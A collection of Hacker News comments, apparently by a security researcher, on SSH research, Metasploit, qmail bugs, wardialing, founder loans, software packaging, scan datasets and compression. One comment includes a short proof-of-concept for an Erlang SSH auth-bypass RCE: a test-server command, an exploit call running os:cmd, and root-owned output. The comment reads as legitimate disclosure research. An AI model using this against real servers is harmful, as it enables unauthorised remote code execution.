HN user
https://hdm.io/
maybe write these personally in the future vs pasting chatbot output? even if you didn't write the code, it would be nice if you wrote the description and post on your own.
I was too! The reason is that the Go x/crypto/ssh library was bailing out on the lack of reply to the channel open request, which prevented it from reaching the auth bypass check via exec. I should have an update out soon with this fixed and a RCE check for this issue.
The test server: $ erl -eval 'ssh:start(), ssh_dbg:on(), ssh:daemon(34222, [{system_dir, "/home/otp/ssh/keys"},{user_dir, "/home/otp/ssh/users/otptest/.ssh"}]).'
The exploit: auth.ScrapeExec(options, addr+" "+tname, res, ses, `os:cmd("touch /tmp/HAXXXED").`)
-rw-r--r-- 1 root root 0 Apr 17 16:14 /tmp/HAXXXED
The Secure Shell (SSH) protocol has survived as an internet-facing management protocol for almost 30 years. Over the decades it has transformed from a single patented codebase to a multitude of implementations available on nearly every operating system and network-connected device.
This presentation dives deep into the Secure Shell protocol, its popular implementations, what's changed, what hasn't, and how this leads to unexpected vulnerabilities and novel attacks. An open source tool, dubbed "sshamble", will be demonstrated, which reproduces these attacks and opens the door for further research.
The CFAA has not been amended, but there was DoJ policy change on enforcement. So everyone is always breaking the law in the course of normal business, and it's still up to the prosector to determine who to go after: - https://www.justice.gov/opa/pr/department-justice-announces-...
An underrated focus of Metasploit was making defensive tooling more robust. Spoonm's work on SNG (as well as other payload/encoder randomization efforts) was effective at killing static (and arguably ineffective) payload signatures. You can find a related talk on the IDS/protocol side at: https://speakerdeck.com/hdm/thermoptic-camouflage-total-ids-...
Source: co-speaker of the OP referenced presentation
The sell-off of captable.io/LTSE Equity was announced to customers a couple months ago, predating the Carta drama (but many folks picked LTSE specifically because it wasn't Carta).
The move to make all free instances unauthenticated (and effectively RCE-aaS) put a dent in that use.
Erm, qmail had lots of bugs[1], when compiled for 64-bit processors (lots of integer overflows), but djb pushed back and said 64-bit wasn't supported. If anything, qmail is known as the most annoying MTA to package, since no modifications to the source are permitted, and the application has to be built using a massive patch tree instead. The quirky management daemons required to run qmail were also obnoxious and at odds with everything else on the system.
Salient quote below:
In May 2005, Georgi Guninski published "64 bit qmail fun", three vulnerabilities in qmail (CVE-2005-1513, CVE-2005-1514, CVE-2005-1515):
[snip]
Surprisingly, we re-discovered these vulnerabilities during a recent qmail audit; they have never been fixed because, as stated by qmail's author Daniel J. Bernstein (in https://cr.yp.to/qmail/guarantee.html):
>"This claim is denied. Nobody gives gigabytes of memory to each qmail-smtpd process, so there is no problem with qmail's assumption that allocated array lengths fit comfortably into 32 bits."
1. https://www.qualys.com/2020/05/19/cve-2005-1513/remote-code-...
edit: added quote from referenced url
It is based on peak frequency, you can visually see it here: https://speakerdeck.com/hdm/derbycon-2011-acoustic-intrusion...
IIRC (it has been a bit), there was a specific frequency only used by modem negotiation but not fax machines (3150?).
No kidding and thank you!
I am the author of WarVOX (a mostly dead project these days). Some useful links:
- WarVOX 2.0 Presentation: https://speakerdeck.com/hdm/derbycon-2011-acoustic-intrusion... - WarVOX Source: https://github.com/rapid7/warvox
The US legal restrictions on wardialing are complicated and changes to the law made it difficult to continue the project.
For fans of ToneLoc, I implemented the data format and visualization with my latest project (Rumble Network Discovery): - https://www.rumble.run/blog/subnet-grid-report/
Anything with massive storage and massive compute that doesn't need low latency is a great fit. I still host ~300TiB and ~250 cores at home because the cloud cost would be astronomical. Edit: This is for personal stuff related to internet-wide scan data and domain tracking. See https://github.com/hdm/inetdata
On the investor front it depends on the debt size. Most seed-stage investors would prefer debt to a competing investment amount. Loaning yourself up to a year of lean run-rate is probably fine, but much more (hiring, paid user acq, etc) is going to look weird. Future investors may ask you to write off the loan entirely if the terms are nuts (compounding or high interest rate), but shouldn't bat an eye otherwise.
Regarding contingency plans, you don't need to have a hard repayment date in the loan terms and can let it accrue interest indefinitely (until bankruptcy, acquisition, or otherwise). Unlike traditional convertible debt a founder loan normally doesn't "blow up" into a huge equity stake if not paid back.
If things don't work out and you have the opportunity to roll the founding team into an another company (acquihire), loans are an easy thing to assign value to, even if the IP or goodwill is more difficult. Negotiate the loan repayment as a signing bonus if you can.
If things work out and you either raise money or bootstrap to profitability, you can pay off the loans as it makes sense, or just forgive them outright if that's easier. Either way you probably don't need to involve your whole board to manage it, unlike equity changes.
I get the desire as a founder to obtain the same terms on capital as future investors, but it can put you in a weird place and can complicate future fundraising. Props to anyone who can make it work, but I had good luck with the founder loan process and felt like it was the cheapest way to finish bootstrapping (we did).
Good luck either way!
Tracking capital contributions as debt is the best choice (after incorporation). Pay yourself back 6% non-compounding interest and make things easy. Don't buy your own equity just to cover short-term expenses. Reach out (email in profile) if you would like to see a template.
Alternatively, refile your articles and stock purchase agreement and tie that capital to the stock purchase or initial contribution. I would still recommend founder loans instead. If you use a SAFE or other convertible debt on amazing terms, future investors may ask for the same terms.
Edit: I financed my startup (https://rumble.run) that way and paid myself back a month ago. Painless all around.
In a similar vein, BitNami makes money licensing full-stack open source components with an integrated installer. I used it/them for a few years and while I wasn't smitten, it got the job done until something better came along. If you want a one-click installer for your mvc + db app, it might be worth looking at.
I honestly thought this was satire for the first half of the article. When did working on SaaS products exempt people from understanding how to deliver software? Should we just remove the first [S] from SaaS?
I see this attitude a ton in conversations with startups. A founder describes their whiz-bang thing, a question comes up about how this works in larger environments, usually followed by a mumbled reply about virtual appliances. Virtual appliances (and to some extent, docker containers) are not the solution, for so many reason, I might run out of space in the comment field listing them. The short version: OS updates, security updates, networking issues, customer-side diagnostics, size, and support for the customer's specific virtualization platform. Docker is great if your customers all use docker and you have the update process sorted out, but that is probably a small fraction of your total market.
In other words, build actual installable software that runs on some set of supported operating systems. Make a DEB, an RPM, maybe an MSI. Build an installer. Have a nifty splash screen. Add desktop links. Don't lose revenue because you can't be bothered to figure out omnibus, nullsoft, or bitrock.
If you are building software, keep in mind that customer environments are insane and should be treated as hostile. Every bit of your software and packaging needs to be paranoid, defensive, and respond well to failures. When something goes wrong, customers are not your QA team (you have one, right?). Don't make them run a thousand commands for you. Build actual diagnostic features into the product. Some organizations (hint: they have lots of money), don't let your icky code talk to the internet. Offline activation, offline updates, and offline diagnostics are super important to counting these folks as customers.
Less people voted for Prop-1 than signed the petition to create it (39k vs 65k). Uber and Lyft spent over $8m and lost. Sources: https://www.texastribune.org/2016/01/19/austin-group-gathers..., http://kxan.com/election-results/, http://www.mystatesman.com/news/news/local-govt-politics/ube...
A shortcut to getting com, net, info, org, us, sk, and biz is to give premiumdrops.com $24.95/mo. You can get these for free from the TLD operators, but it takes a few weeks of snail mail (last I checked). The gTLD access via CZDAP is free, but takes a few days for approvals to process.
The Sonar FDNS set contains about 1.4 billion host names (50m+ domains). The FDNS set is seeded from TLD zones, CZDAP, PTR lookups (RDNS), SSL/TLS scans, and HTTP link extraction. It updates every two weeks: https://github.com/rapid7/sonar/wiki/Forward-DNS
You might find the processing tips on the Project Sonar wiki useful:
https://github.com/rapid7/sonar/wiki/Analyzing-Datasets
Project Sonar is one of the primary contributors to scans.io. The DAP utility is handy for parsing raw x509 certificates and generating JSON output.
If anyone is interested, you can find the unpacked firmware and some rough diffs online at https://github.com/hdm/juniper-cve-2015-7755/
Even if you trust the OS and the baseband, you have to trust that the federated server for Signal (OpenWhisper, Cyanogen, etc) isn't storing contact discovery requests.
If anyone is interested, I have been working on diffing the code for the backdoored vs patched versions: https://github.com/hdm/juniper-cve-2015-7755
pbzip2 output isn't universally readable by third-party bz2 decompressors (Hadoop, for example).
Summary: Compatibility and decompression speed is more important than compression ratios for many use cases. Gzip is nearly universal, where lz4, xz, and parallel bzip2 are not.
The challenge of sharing internet-wide scan data has unearthed a few issues with creating and processing large datasets.
The IC12 project[1] used zpaq, which ended up compressing to almost half the size of gzip. The downside is that it took nearly two weeks and 16 cores to convert the zpaq data to a format other tools could use.
The Critical.IO project[2] used pbzip2, which worked amazingly well, except when processing the data with Java-based tool chains (Hadoop, etc). The Java BZ2 libraries had trouble with the parallel version of bzip2.
We chose gzip with Project Sonar[3], and although the compression isn't great, it was widely compatible with the tools people used to crunch the data, and we get parallel compression/decompression via pigz.
In the latest example, the Censys.io[4] project switched to LZ4 and threw data processing compatibility to the wind (in favor of bandwith and a hosted search engine).
-HD
1. http://internetcensus2012.bitbucket.org/images.html 2. https://scans.io/study/sonar.cio 3. https://sonar.labs.rapid7.com/ 4. https://censys.io/
This affects 2008 and newer, older versions did not support DNAME[1] records. It isn't clear whether an existing DNAME record needs to exist in order for this to be exploitable. Skimming the Sonar FDNS[2] dataset, only 5,581 DNAME records were identified[3]. A diff has been posted by Greg Linares[4], showing the addition of a memset(0) to the DNAME merge function.
1. https://tools.ietf.org/html/rfc6672 2. https://scans.io/study/sonar.fdns 3. https://hdm.io/data/20151121_dname.txt.gz 4. https://twitter.com/Laughing_Mantis/status/67430845437942579...
Funny enough, we found a practical application for this during my time at BreakingPoint. The BPS-1000 appliance would mix a huge number of concurrent streams through a device under test; we added a feature to flag the exploit traffic as evil by setting the RFC 3514 bit: https://strikecenter.ixiacom.com/articles/permalink?month=06...
This made it easier for manufacturers of IDS/IPS/UTM/NGFW equipment to quickly isolate false negatives during fully loaded tests.
Roughly 10%, but I forget the exact numbers. It took over a year before those private buyers could sell above cost.
The pre-IPO bids for Facebook at SecondMarket were substantially higher than the original IPO (first-day trading price), less than a week before private trading was halted. Even the private market has no idea what non-public shares are worth. IMO, ask for an increase in salary, or tie the value of the stock to a conditional bonus payout. Keep in mind that even if the company goes public and the stock does well, you probably won't be able to sell for 12-18 months due to lockups, so the IPO price is less relevant to your compensation than the long-term stock price. If you are smart (and have the cash), a 83(b) election can be hugely beneficial for your taxes... unless the price at which you do the election is far above the eventual market price of the stock, in which case you are out quite a bit of money.
Edit: If the company truly feels that their stock can be substituted for salary, then it shouldn't have more than a 12-month cliff for vesting.